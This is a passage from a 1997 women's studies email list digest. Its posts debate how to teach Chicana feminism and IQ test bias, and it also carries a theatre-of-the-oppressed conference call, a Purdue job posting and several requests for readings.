week. The >class >makeup is about half minority students with Mexican American women making up >about one third of the minority population. Although I'll address feminism >from a multi-cultural perpective and black feminism in particular, I would >like >to offer something specific to Mexican-American women's lives. > >Does anyone know of articles that might be useful? > >Sharon Snow >Texas Woman's University >g_snow@twu.edu I just read the chicana feminism thread from start to finish, and of course I've got to throw in my two cents: I reproduced Sharon's post that started this thread above. I think that conversations on the list really go haywire when people half-read a message, or forget the original message, letting replies like Daphne's re-define the conversation. Sharon says she's teaching an intro class, is using a MULTICULTURAL perspective, and hasn't given any info specific enough for anybody to infer her ideas about race or anything else. Many people simply assumed the worst--whatever the worst was from their perspective. Daphne's reply was really insulting, *assuming* that Sharon wouldn't even *read* the material she was asking for suggestions on! That's just plain mean. Undergraduate Intro classes can't include everything, and people can't be experts in everything. Period. And how does anyone know that other feminisms wouldn't be surveyed in *lecture* or other books, and that Sharon was simply looking for an especially relevant ARTICLE to assign as a supplement? They didn't, and that's why the shape the conversation took is troubling to me. It's really insulting to just *assume* that she hasn't thought about the racial politics of pedagogy issues you've been bringing up, and the conversation is continuing as if a really ignorant ""straw professor"" said ""I'm teaching an intro course, and just because there are Mexican-Americans in there I think the ONLY time I will deal with race will be to assign one ethnicity-appropriate article, IF that group is present"". She DIDN'T say that. But some people reacted like she did. Using the simple request for an article as a jumping off point for a discussion about racial politics in feminist teaching is useful, and of course we're all concerned with the quality of teaching-- but this has really strayed from the original request. Maybe change the subject line and continue it as a separate discussion? Cheers, Chelsea ==================================================================== Chelsea Starr, ABD | http://www.indieweb.com/orbit (Canis meus id comedit) | cstarr@orion.oac.uci.edu Social Relations, University of California, Irvine ==================================================================== ========================================================================= Date: Wed, 17 Sep 1997 01:02:21 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Greta Hofmann Nemiroff Subject: Re: Practicum readings? Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" The forthcoming Autumn 1997 issue of a Canadian scholarly Women's Studies journal ,""Atlantis"" [Vol.22.1] will have an entire section devoted to articles describing various kinds of practica which have been tried in Women's Studies courses in Canada. It can be acquired through contacting Cecily Barrie, Managing Editor, ""Atlantis,"" Mount St.Vincent University, Halifax, Nova Scotia, Canada. B3M 2J6. FAX: 902-443-1352. Greta Hofmann Nemiroff Coordinator of Women's Studies Dawson College, Montreal ghn@aei.ca ========================================================================= Date: Tue, 16 Sep 1997 22:29:00 PDT Reply-To: Women's Studies List Sender: Women's Studies List From: ""Saad, Shahnaz"" Subject: black IQ test Hello! I will soon be discussing how gender, race, and class affect educational placements with my graduate students. I would like to give the students the chance to take the ""Black IQ Test."" Does anyone know where I can find the test or any bibliographic info. such as who wrote it? Interestingly, when IQ tests were first developed , girls did better on them than boys. The tests were then ""adjusted"" to raise boys' scores (and these tests are now often biased against girls). And of course the tests are biased in favor of whites. Thank you. S. Chris Saad, PhD saad@wcupa.edu ========================================================================= Date: Wed, 17 Sep 1997 08:30:44 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Vera M. Britto"" Subject: conference announcement MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII PEDAGOGY AND THEATRE OF THE OPPRESSED March 5-7, 1998 * Omaha, Nebraska A SOCIAL JUSTICE CONFERENCE FOR EDUCATORS, THEATRE ARTISTS, AND COMMUNITY ACTIVISTS The fourth international Pedagogy and Theatre of the Oppressed Conference focuses on the work of liberatory educators, activists, and community organizers. Conference attendees will collaborate in investigations of the roots of class, race, and gender inequalities. This event provides opportunities to combine action and reflection. Liberatory practitioners and theorists will find the conference a fruitful place to reflect on and improve their work, to share knowledge and network. Implicit in the mission of the conference is the hope that what can be practiced at our conference can be achieved in the world. Sponsored by the University of Nebraska at Omaha's College of Arts and Sciences, College of Continuing Studies, College of Education, and College of Public Affairs and Community Service. SPECIAL GUESTS: DONALDO MACEDO - Donaldo Macedo is a professor of English and graduate program director of Bilingual and English as a Second Language Studies at the University of Massachusetts Boston. He is a leading authority in language and critical education and has published extensively in the area of critical literacy, creole studies, and linguistics. He is a long-time collaborator of Paulo Freire, having coauthoried several books with him including ""Literacy: Reading the Word and the World"" and ""Ideology Matters."" He is author of ""Literacies of Power: What Americans Are Not Allowed to Know."" JEANNETTE SEABERRY - Jeannette Seaberry is an assistant professor at the University of Nebraska at Omaha where she teaches graduate courses in human development, marriage and family therapy, and supervises clinical practicum and internship courses. Her reserach interests include the use of case studies and the case method for pedagogical curriculum reform, multiculturalism, and issues of African Americans' access, retention, and achievement in higher education. She currently directs an AmeriCorps Program. JIMMY SANTIAGO BACA - Emerging from a background of abandonment, violence, and imprisonment, Jimmy Santiago Baca attributes his rebirth to the discovery of language. His first poems were written in a maximum-security prison where he taught himself to read and write. ""Martin & Meditations on the South Valley,"" his two long narrative poems, won the 1988 Before Columbus Foundation American Book Award, and he was a featured poet in Bill Moyers' ""Language of Life"" series. Baca founded Black Mesa Enterprises to help young people discover alternatives to violence through language. Web: www.swcp.com/~baca CALL FOR PROPOSALS We invite proposals on all aspects of emancipatory education and theatre including power relations in the learning environment, systems of structural privilege and oppression, and subversive challenge. We encourage proposals that relate to any oppressed group. FOR INCLUSION IN THE CONFERENCE, YOUR PROPOSAL MUST RELATE IN SOME MANNER TO PAULO FREIRE'S MODEL OF LIBERATORY EDCUCATION OR AUGUSTO BOAL'S APPROACH TO INTERACTIVE THEATRE. We welcome proposals from teachers, theatre artists, and community activists who employ the ideas of Freire and/or Boal in their work or research. Please make this clear in your proposal. We strongly encourage interactive presentations. You will receive notificaiton of the acceptance of your presentation by December 24, 1997. TO SUBMIT Send an abstract of your presentation (300 words, typed double-spaced, no bibliography) and at least three questions which your presentation will pose to its audience. We DISCOURAGE rote paper reading and ENCOURAGE dialogue. The form below and supporting material as outlined in the checklist must be received by October 17, 1997. You may submit via e-mail. Send to: Rita Shaughnessy, College of Continuing Studies, University of Nebraska at Omaha, Omaha, Nebraska 68182. Phone 402/595-2355. Fax: 402/595-2345. E-mail: pedagogy@ccs.unomaha.edu PRESENTATION FORMATS: Unless otherwise noted, all sessions are 90 minutes in length. THEATRE OF THE OPPRESSED WORKSHOPS. Workshops based directly on the work of Augusto Boal. Two or two and one-half hours in length. PEDAGOGY OF THE OPPRESSED WORKSHOPS. Experiential activities which include audience involvement, presentation, and new techniques. DEBATES OR DIALOGUES. Discussions of any aspect of liberatory education by two or more experts. PERFORMANCES. Staged plays, musical arrangements, comedy routines, dances, etc. (Length may vary--please note how much time you need.) PANELS. Pre-formed groups of three or four paper presentations, addressing a specific area of research or concern. PAPER DISCUSSIONS. Summaries of research, written and delivered from outline. Each presentation should last approximately 15 minutes, excluding questions and answers. Papers will be clustered in groups of three or four, with time for dialogue. DEADLINE FOR SUBMISSIONS: October 17, 1997 PROPOSAL COVER SHEET ___ Send me information on the 1998 Pedagogy and Theatre of the Oppressed Conference. ___ Workshop: Theatre of the Oppressed. Title:________________________________________________________________ ___ Workshop: Pedagogy of the Oppressed. Title:________________________________________________________________ ___ Debate or dialogue. Title:________________________________________________________________ ___ Performance. Title:________________________________________________________________ ___ Panel. Title:________________________________________________________________ ___ Paper Discussion. Title:________________________________________________________________ ___ Serving as a chairperson of a session. Preferred area(s):____________________________________________________ ___ Other. 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If your presentation includes copresenters or panelists, please list their names and addresses on a separate sheet. ___I have attached an address sheet listing my copresenters and panelists. Pedagogy and Theatre of the Oppressed is supported largely through the registration fees of presenters and participants. I undestand and agree that if my proposal is approved for inclusion as part of the confernce, I will pay my registration fee of $139 (students, $85) by February 5 in order to be listed in the final program. Signature:________________________________________________________________ For more information contact Rita Shaughnessy at the University of Nebraska at Omaha. Phone - 402/595-2355, Fax - 402/595-2345. E-mail: pedagogy@ccs.unomaha.edu Web: www.unomaha.edu/~ccswww/ccs5g.html The University of Nebraska does not discriminate in its academic, employment, or admissions policies and abides by all federal, state, and regental regulations pertaining to same. CCS is committed to equal access for the physically challenged. If you have special needs, call 402/595-2309 or fax 402/595-2345. Henry J. D'Souza School of Social Work University of Nebraska at Omaha Omaha, NE 68182 Phone (402)-554-2824 ------------------------------ End of FEMSW-L Digest - 31 Jul 1997 to 16 Sep 1997 ************************************************** ========================================================================= Date: Wed, 17 Sep 1997 09:32:02 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Elisabeth Golding Subject: New ""ladies"" mag Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit FYI, the following is forwarded from another news list. Unbelievable. (This will be a show-stopper in any curriculum.) *** HALF-WITLESS NEWS . . . . Of Newt Gingrich's two half-sisters, Candace -- his better lesbian half -- is also the better known. However, Susan Gingrich -- Newt's conservative and heterosexual half-sister -- has announced plans for making a media splash of her own. To counter the ""liberal bias of American women's magazines,"" Susan Gingrich intends to launch a new publication -- ""Today's Lady."" ""We will not have any male bashing,'' she explains. ""It will be a magazine that will always look at women as being victors, never victims; we're not going to have sad stories about women being abused and mistreated.'' According to Reuters (Sept. 12), the first issue of ""Today's Lady"" is due out next Spring. Gingrich is ""considering story ideas on such topics as etiquette, children's health, women and guns, Christian diet programs and what it means to be a lady today."" C o n t a c t : Reuters, 199 Water Street, New York, NY 10038, fax 212-859-1717, web-site http://www.reuters.com; Susan Gingrich, Conservative Lady Inc., 3920 Rauch Street, Harrisburg, PA 17109-2226, tel. 717-657-0206. (""Christian diet"" ??) Beth Golding Florida State Archives egolding@mail.dos.state.fl.us ========================================================================= Date: Wed, 17 Sep 1997 10:24:56 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Barbara Taylor Subject: Re: New ""ladies"" mag In-Reply-To: <9709178745.AA874503213@mail.dos.state.fl.us> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Lions, maybe?? At 09:32 AM 9/17/97 -0500, you wrote: > FYI, the following is forwarded from another news list. > Unbelievable. (This will be a show-stopper in any > curriculum.) > > *** HALF-WITLESS NEWS . . . . Of Newt Gingrich's > two half-sisters, Candace -- his better lesbian half > -- is also the better known. However, Susan Gingrich > -- Newt's conservative and heterosexual half-sister > -- has announced plans for making a media splash of > her own. > > To counter the ""liberal bias of American women's > magazines,"" Susan Gingrich intends to launch a new > publication -- ""Today's Lady."" ""We will not have any > male bashing,'' she explains. ""It will be a magazine > that will always look at women as being victors, > never victims; we're not going to have sad stories > about women being abused and mistreated.'' > > According to Reuters (Sept. 12), the first issue of > ""Today's Lady"" is due out next Spring. Gingrich is > ""considering story ideas on such topics as etiquette, > children's health, women and guns, Christian diet > programs and what it means to be a lady today."" > > C o n t a c t : Reuters, 199 Water Street, New York, > NY 10038, fax 212-859-1717, web-site > http://www.reuters.com; Susan Gingrich, Conservative > Lady Inc., 3920 Rauch Street, Harrisburg, PA > 17109-2226, tel. 717-657-0206. > > (""Christian diet"" ??) > > Beth Golding > Florida State Archives > egolding@mail.dos.state.fl.us > Barbara G. Taylor bt24761@uafsysb.uark.edu Associate Vice Chancellor for Human Resources University of Arkansas, 222 Administration Building Fayetteville, AR 72701 (501) 575-2158 (501) 575-6971 FAX ========================================================================= Date: Wed, 17 Sep 1997 10:45:49 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Linda Pershing Subject: Seeking email address for Shirley Lim MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII I am in search of an email address for Shirley Lim, a women's studies scholar who teaches somewhere on the West Coast. If you know how to reach her by email, please send her address to me (privately, not on the list) at the following address: LLP@cnsvax.albany.edu. Thank you, Linda Pershing Department of Women's Studies Email: LLP@cnsvax.albany.edu Social Sciences Bldg. 341 (518) 442-3979 (office) State University of New York (518) 442-4936 (fax) Albany, NY 12222 ========================================================================= Date: Wed, 17 Sep 1997 11:02:31 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Feminist Teacher Subject: Re: black IQ test Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Could someone post this info to the list or reply privately to me also? The address is: feminist@WheatonMa.edu Thanks, M jessica Vaile Editorial Assistant _Feminist Teacher_ Editorial Collective >Hello! > >I will soon be discussing how gender, race, and class affect educational >placements with my graduate students. I would like to give the students the >chance to take the ""Black IQ Test."" Does anyone know where I can find the >test or any bibliographic info. such as who wrote it? > >Interestingly, when IQ tests were first developed , girls did better on them >than boys. The tests were then ""adjusted"" to raise boys' scores (and these >tests are now often biased against girls). And of course the tests are >biased in favor of whites. > >Thank you. > >S. Chris Saad, PhD >saad@wcupa.edu ========================================================================= Date: Wed, 17 Sep 1997 11:16:16 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Angela E. Taylor"" Subject: call 4 writings by *FEMMES* Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Femme Talk!!! Sojourner--a national, feminist newpaper--is producing a special issue on the underexplored and never-tired topic of femmes!!! We are looking for submissions (about 1800 words or so, on average) by femmes on the following topics or any others about femmes that grab your fancy. Some ideas: femmes/femme relationships, stereotypes about femme manipulation of butches, sexism within lesbian/bi/queer communities against femmes, femme desire, femme identities as they intersect with race, class, and age, differences between young women's conceptions of femmes and older women's, femme fatales, femmes on TV (are those girly dykes really femmes or straight women masquerading as lesbians--what are the advantages and disadvantages of the visibility of less-butch women as dykes in the popular media/film etc.?), what's it like to be a bi femme, a heterosexual femme, and everything else. Articles can be fiction, journalistic, interviews, reviews, whatever you like!! Submissions are due to Sojourner by October 3. Call Stephanie at 617-524-0415 for more info. Write us at sojourn@tiac.net (put Stephanie in the subject box so I get the message)--we like to get submissions by email (just cut and paste article into the message box). We pay $15 per article we print plus a one year sub to the paper and all that glory!!!! Thanks and please pass the word!!! Stephanie Poggi, Editor Sojourner: The Women's Forum sojourn@tiac.net 42 Seaverns Avenue 617.524.0415 Boston MA 02130 fax 617.524.9397 http://www.tiac.net/users/sojourn/ ========================================================================= Date: Wed, 17 Sep 1997 09:52:54 +0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Christine Larson Subject: journal: ""Womanspirit"" MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" I'm looking for an address for a publication called ""Womanspirit: the Irish journal of feminist spirituality,"" published in Dublin. (It isn't listed in Ulrich's, and OCLC shows only one U.S. holding library.) If any of you subscribe to this, I'd also be interested in table of contents info. Thanks, -- Christine M. Larson Reference/Religion Librarian Earlham College - Earlham School of Religion - Bethany Theological Seminary Richmond, IN 47374 (765)983-1408 larsoch@earlham.edu ========================================================================= Date: Wed, 17 Sep 1997 11:27:46 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Jessica Heriot Subject: teaching with narratives MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII This is a request to those who teach students in the helping professions, e.g. psychology, social work, counseling, psychiatric nursing, etc. Does anyone teach using personal narratives to illustrate practice issues, skills, psychopathology, family problems, developmental issues, etc.? How do you use them? Does anyone know if there is a book, a compilation of narratives geared toward teaching students in the helping professions, which would include questions for discussion, exercises based on individual narratives, etc. Please respond privately to jessica heriot, jheriot@unabnet.ab.umd.edu ========================================================================= Date: Wed, 17 Sep 1997 08:56:00 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: Miles Jackson Subject: Re: black IQ test In-Reply-To: <341F6AB9@spectrum3.wcupa.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 16 Sep 1997, Saad, Shahnaz wrote: > Interestingly, when IQ tests were first developed , girls did better on them > than boys. The tests were then ""adjusted"" to raise boys' scores (and these > tests are now often biased against girls). And of course the tests are > biased in favor of whites. > IQ tests are standardized so that men and women both have an average score of 100. How does this produce bias? I go around with this when I present the test score ""adjustment"" to students. How do you know-- how does anybody know--whether the present day IQ test or the early nonadjusted version of the test is more valid as a measure of intelligence? Terman adjusted the score because he thought there was no good reason why the average score for men and women should be different. I'm just thankful that a true misogynist (say, Freud) wasn't bringing his theoretical baggage to the revision of the test. One thing that psychologists do not make clear is that they are always tinkering around with these tests. Items go in, come out, get changed. --And as with Terman, these revisions reflect theoretical positions. Here's a great question to ask in class: if it's appropriate to do this test revision to equalize average scores for men and women, why not do a similar revision to equalize scores across races? I for one know of no plausible reason why intelligence should be distributed differently across races. People who support the idea of racial differences never really provide a theory--they simply point to IQ test scores. But assumptions are always embedded in psychological tests. Always. And the fact that racial differences are treated as meaningful differences rather than as errors to be corrected on the test reflects a particular theoretical position. Miles Jackson cqmv@odin.cc.pdx.edu ========================================================================= Date: Wed, 17 Sep 1997 12:06:13 EDT Reply-To: Women's Studies List Sender: Women's Studies List From: Kathy Feltey Subject: Inclusive Definitions of Family I've been asked to provide an inclusive definition of family for a state-level feminist organization to use in hiring/employee benefits policies. Anyone knowing of domestic partner or inclusive family definitions that have been developed, please respond privately. Thanks. ************************************************************************* KATHRYN FELTEY R1KMF@VM1.CC.UAKRON.EDU DIRECTOR OF WOMEN'S STUDIES KFELTEY@UAKRON.EDU 204 LEIGH HALL UNIVERSITY OF AKRON 330-972-7008 (PHONE) AKRON, OH 44325-6218 330-972-5263 (FAX) ************************************************************************* ========================================================================= Date: Wed, 17 Sep 1997 11:10:38 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Elizabeth Ann Kilgore Subject: Support for new teachers. In-Reply-To: <9709170440.AA07817@oak.cats.ohiou.edu> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I am new to the list and have found this to be an excellent forum for some issues that I am facing as a new teacher. I am a graduate student in Sociology, and have been assigned to teach a social problems course this year. I have already taught one session of the course (in the summer), and, naturally, had my share of problems. Our department gives us some preparation before we are put in the classroom, but I really had the feeling of being ""thrown to the wolves"", so to speak, once i got there. No one can really teach you how to deal with problems like confrontational students and issues of authority. I have friends in other departments (mostly women) who are dealing with similar problems. We have talked about getting an organization started at our university that would offer support to students who are also teachers. I was wondering if any other universitieshad any group similar to what we are thinking about. If so, how is it run? We were thinking of suggesting readings, like hooks' ""Teaching to Transgress"", and maybe making each meeting a place where people can bring up issues or problems and they can be discussed by the group. Anyway, any suggestions for organizing the group or for possible readings would be greatly appreciated. Thank you. Beth Kilgore Dept. of Sociology and Anthropology Ohio University ek871492@oak.cats.ohiou.edu ========================================================================= Date: Wed, 17 Sep 1997 09:36:55 -0700 Reply-To: jstarker@teleport.com Sender: Women's Studies List From: Joan Starker Subject: Re: Support for new teachers. MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Elizabeth Ann Kilgore wrote: > > I am new to the list and have found this to be an excellent forum for some > issues that I am facing as a new teacher. I am a graduate student in > Sociology, and have been assigned to teach a social problems course this > year. I have already taught one session of the course (in the summer), > and, naturally, had my share of problems. Our department gives us some > preparation before we are put in the classroom, but I really had the > feeling of being ""thrown to the wolves"", so to speak, once i got there. > No one can really teach you how to deal with problems like confrontational > students and issues of authority. > > I have friends in other departments (mostly women) who are dealing with > similar problems. We have talked about getting an organization started at > our university that would offer support to students who are also teachers. > I was wondering if any other universitieshad any group similar to what we > are thinking about. If so, how is it run? We were thinking of suggesting > readings, like hooks' ""Teaching to Transgress"", and maybe making each > meeting a place where people can bring up issues or problems and they can > be discussed by the group. > > Anyway, any suggestions for organizing the group or for possible readings > would be greatly appreciated. > > Thank you. > > Beth Kilgore > Dept. of Sociology and Anthropology > Ohio University > ek871492@oak.cats.ohiou.edu Hi, I would recommend the book: Calling: Essays on Teaching in the Mother Tongue by Gail Griffin It's superb!!! Joan jstarker@teleport.com ========================================================================= Date: Wed, 17 Sep 1997 12:58:53 EDT Reply-To: Women's Studies List Sender: Women's Studies List From: Rhoda Unger Subject: Teaching with narratives (wrong address & erased original--sorry!) From: PONY%""Postmaster@ALPHA.MONTCLAIR.EDU"" 17-SEP-1997 12:55:40.97 To: ungerr@alpha.montclair.edu CC: Subj: Message Delivery Failure Date: Wed, 17 Sep 97 12:55:34 EDT From: Pony Express Mailer Subject: Message Delivery Failure To: ungerr@alpha.montclair.edu Reply-To: Postmaster@ALPHA.MONTCLAIR.EDU Pony is unable to deliver your mail to host unabnet.ab.umd.edu. No further delivery attempts will be made. The affected mail recipients: jheriot Reason for failure is: No such domain unabnet.ab.umd.edu Your original message follows: ---------- Start of Returned Message ---------- Received: from ALPHA.MONTCLAIR.EDU via Pony Express VMS Mail FPI (v9.5.0-moe002); Wed, 17 Sep 1997 12:55:32 EDT Date: Wed, 17 Sep 1997 12:55:32 EDT From: ungerr@alpha.montclair.edu To: jheriot@unabnet.ab.umd.edu Subject: Teaching with narratives X-Vms-To: WINS%""jheriot@unabnet.ab.umd.edu"" The best book I know for your purposes is Carol Franz and Abby Stewart, Eds. (1994). Women creating lives: Identities, resilience, and resistance. San Francisco: Westview. You might also want to look at a new book that I edited with Mary Crawford called In our own words published by McGraw Hill in 1997. This is meant more as a set of narratives for a general psych of women class, but it is probably easier to read than the Franz and Stewart book (we use two of their pieces in our collection). Hope this helps. Rhoda Unger ---------- End of Returned Message ---------- ========================================================================= Date: Wed, 17 Sep 1997 13:11:43 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Jeff Finlay Subject: JOB: Women's/Cultural Studies, Purdue Univ (full prof, due Nov 1) Comments: To: roadsign@listserv.georgetown.edu, opportunities@home.ease.lsoft.com Comments: cc: llp@cnsvax.albany.edu MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT Crossposted from MELUS-L, moderated by Richard Tuerk > From: Nancy J. Peterson Position Announcement: Purdue University is searching for a full professor of English and Women's Studies. This appointment is half-time in Women's Studies and half-time in the Department of English; tenure home is in English. Specialization in feminist literary theory; interests in cultural studies, critical race theory, world literatures or post-colonial studies desirable. Responsibilities include teaching undergraduate and graduate courses in Women's Studies and English, maintaining an active research program, directing graduate students, and fulfilling senior faculty responsibilities. Qualifications: Ph.D. or equivalent, outstanding record of publication in literary theory and feminist scholarship, experience in interdisciplinary women's studies, and demonstrated teaching excellence. Salary commensurate with qualifications. Send letter of application, curriculum vitae, a statement of current research interests, and three names and addresses of references to: Berenice A. Carroll, Director, Women's Studies Program 1361 L.A.E.B Purdue University West Lafayette, IN 47907-1361 (Tel. 765-494-6295; FAX 765-494-0833; email: boatrigc@purdue.edu) Applications are due by November 1, 1997, but the deadline will remain open until a suitable applicant is hired. Purdue University is an Equal Opportunity/Affirmative Action employer and encourages applications from women and minorities. Nancy J. Peterson ========================================================================= Date: Wed, 17 Sep 1997 10:35:35 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: Helen Irene Jones MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I have been asked to do a talk on the relationship between activism and academics. I teach irregularly in Women's Studies, and my field is law, though my activism is primarily peace/anti-nuke. I am acquainted with bell hooks and some others who write about feminist and anti-racist activism, and some of the controversery in conservation biology about these issues. I am wondering whether anyone could recommend any recent articles that speak to combining/tensions between the two. Thanks. Helen Jones Women's Resource Center University of Nevada, Reno jones@admin.unr.edu tel: 702.784.4611 fax: 702.784.4607 ========================================================================= Date: Wed, 17 Sep 1997 18:58:14 +0100 Reply-To: Women's Studies List Sender: Women's Studies List From: ""ROSEMARY GIBNEY (WERRC) STAFF"" Organization: University College Dublin Subject: Latin America/Sexuality MIME-version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Can anybody give me the names of universities in England, Scotland, or Wales that have Depts. of Latin American Studies? Also, is anybody on the list or does anybody on the list know anybody who is studying sexuality (specifically queer issues) in Latin America particularly in Chile, Brazil or Argentina? Rosemary Gibney Teaching and Research Fellow Women's Education Research and Resource Centre (WERRC) University College Dublin Ireland ========================================================================= Date: Mon, 15 Sep 1997 13:50:11 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Jeraldine Kraver Subject: Military Wives Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Greetings: A student minoring in WS asked if I could request some information from the esteemed readers (and writers) on this list regarding a paper she is preparing for an Intro to WS course.. She seeks information regarding wives of men in the military--in particular, navy wives--and issues surrounding their emotional well-being. She is also interested in the difficulties faced by military wives and couples. If you've any suggestions, could you please respond privately to me and I will pass your ideas, comments, suggestions along. Thanks much. Jeri Kraver Texas A&M Intl Laredo, TX jkraver@tamiu.edu ========================================================================= Date: Wed, 17 Sep 1997 14:00:48 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Ruth Ginzberg Subject: Response to Beatrice Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Hi, > Although Ruth and I agree about many things, I don't see her concern about >adding a reading to a syllabus the way she does. I probably posted my original note in too much haste, for I indeed had not seen the request to which Daphne's post was a response, and therefore did reply somewhat off-topic (or thus changing the topic), for which I apologize. > Ruth, you seem to assume as Daphne does that the teachers will use the >reading as ""the right"" representation of Chicana women/feminists. Hmmm, not sure that I think the teacher will intend to use it this way, but I do believe that no matter what the teacher intends, some number of students will perceive it this way. (not all, but some - and I do worry about those 'some'...) Why not >assume instead that the teacher 1) has knowledge about Chicanas/os but >doesn't know of a reading appropriate for a intro WS course, which she >requested; Again, I didn't mean to imply or assume this about the original poster who requested the material; I responded too quickly, because I did not realize that Daphne's response was to a particular person, in response to a particular request. Again, my apologies. OTOH, I think this might not be a good assumption to make, in general, about many (most?) teachers of WS in the USA. I wish that weren't true, and hope we are collectively & individually each working toward the day when it will not be true, but don't think we are there yet... >2) will use the reading to raise critical questions about the >contents; I'm sure most of us DO try to do this ... but (again) not sure that we actually succeed as grandly or as often as we try. (I sure don't.) And even when I, personally, DO try my very best to do this, I'm still *very* hesitant to try to do it when the reading comes from a perspective with which I am deeply umfamiliar (when that is the case). What I worry about (speaking only for myself here, but assuming that my own experience is not unique to me alone) is that what I even perceive to be ""relevant"" or ""critical questions"" or ""the contents"" might themselves be off-the-mark just because of my own unfamiliarity with the entire context of the reading and the perspective from which it is written. Even if I keep my own mouth shut, there is always the possibility that I will (accidentally) ""reinforce"" the kinds of questions, etc. that reverberate with my OWN perspective, knowledge, experience, etc. (i.e., through interested looks, minor tilts of the head at some questions & not at others, etc.) ... and because of the power of the teacher in the classroom, those things still DO matter. It makes it WORSE if I (as the teacher) am uninformed enough that I (in these subtle ways) actually convey to students (somehow) that my own biases are somehow ""The Right"" kind of perspective to take... AAAAK! 3)understands that many representations of a group totalize that >group and knows to look for that and alert students to it if it's in a >text; God, do I WISH! (Again, speaking only for myself, but suspecting that I am not totally unique in this respect) ... if this were true, then it would not be necessary for one after another after another ""group"" to spell out all the ways, times, places, etc. that they experience ""invisible"" totalizing by totally un-conscious writers, theorists, etc. (including WS authors & professors, etc.), nor would it be necessary for me to read all of the works which do this. I could simply for once and for all come to that single understanding, and then ""get it right"" every time, about everybody, in every text (& situation, & in my own speech, etc.). Alas, history (including my personal history of having my own biases pointed out, sometimes painfully, by people whom they have hurt) tells me that I'd better not assume this -- I'd better make my own working assumptions go in the other direction, as it (a) is far more likely to be closer to the truth, and (b) would be far better to err in that direction than in the other. So I try always to start out with the assumption that I am NOT AT ALL aware of ALL my own (internalized) biases, prejudices, ignorances and ""-isms"" etc. ... and if I act (as a teacher) in a way that presumes that I AM already so aware, then I am probably doing more harm than good. >4)knows about authors' point of view and teaches students to look for >that; Again, I think we ALL try to do this ... but see above... And is this enough? Is that all we mean by a cultural perspective? >5)will read as many of the books recommended on wmst as she can >(perhaps too quickly, given the short time mentioned) before she puts in on >the syllabus; Again, I do not doubt this; sorry if I gave that impression. 6)will prepare reasonably well before that reading comes >up in the class. Ditto, above. > I also don't think you should assume, as you seem to, that the teacher is >""engulfed"" in US perspectives - what is that, anyway? there are diverse >perspectives in the US - and needs an antidote in a student/s in class. Again, I am not attributing that to the particular individual original requester -- and certainly did not mean to give that impression, and apologize if I did. OTOH, is this not (alas, still) a reasonable assumption to make about most teachers in the USA? If you assumed that about me, you would not be wrong. (Am I the only such dinosaur left?) I *am* the product of my own personal intellectual and cultural history; cannot escape that (probably don't even want to try). And no matter how ""aware"" I am of that, my perspective still *is* MINE .. I cannot be elsewhere than within my own self. Your other point (no monolithic ""US perspective"") I surely agree with. There is something there that I am trying to say though, but I don't know what exactly it is or how to say it. >And, while I agree that a teacher should expect to be an informant with >ample background in a class and be respectful of authors, I also think that >she should be respectful of students as knowers and style discussions of >readings to invite their questions, additions, corrections, etc. Yes, of course I agree. >The >teacher in question (I don't recall her name.) indicated that she has good >reason to expect Mexican Americans in her class. Does that put the burden >them to educate everyone else there about Mexican Americans? Not >necessarily at all. > Suppose there are no Mexican Americans in the class? Shouldn't they be in >the course, as part of the students' reality? Yes, absolutely. I really struggle with the problem of the ""excluded 'others'"" in courses like Intro WS. I am fully aware that no matter WHAT I teach, there will ALWAYS be significantly important groups of excluded 'others' who don't make it into the syllabus, discourse, etc. as fully as they should (or even at all). I cannot imagine that there is any solution such as talking only about ""generic women"" so that ""nobody"" is excluded (or so that ""everybody"" is ""included""). That has HUGE problems of its own. But then constructing a syllabus starts to seem (to me) like an exercise in ""deciding whom to exclude"" -- and I absolutely HATE getting into that ""stuck"" mindset either. (Ideas/approaches/solutions re. this general issue welcomed by me, anytime. This really bothers me every single time I have to construct a syllabus, and since I've been teaching full time for 10+ years now, that's getting to be a lot of times.) >I'm expecting/hoping that the course wouldn't simply >be taking students on a cultural safari but would be working toward a >perspective on contexts. I hope you'll share syllabi, classroom activities, etc. that actually help accomplish this! This is a constant struggle for me, and one in which I feel as though I am not getting anywhere fast... > On student input. My experience with WS classes, undergrad and grad, made >up of students with a variety of backgrounds and mixtures of them (race, >ethnicity, religion, sexual orientation, age, etc), has been that exchanges >of questions and comments informed everyone, raised sights about diversity >of experience, fired imaginations about how to read and inspired at least >some students to move on to learn more about a topic. > > beatrice bkachuck@cuny.campus.mci.net Hmmm ... I envy you the diversity of backgrounds & experience which I suspect that you find in your classrooms (at CUNY?). UNFORTUNATELY, most of the classrooms in which I've found myself really *lack* this diversity in a Big 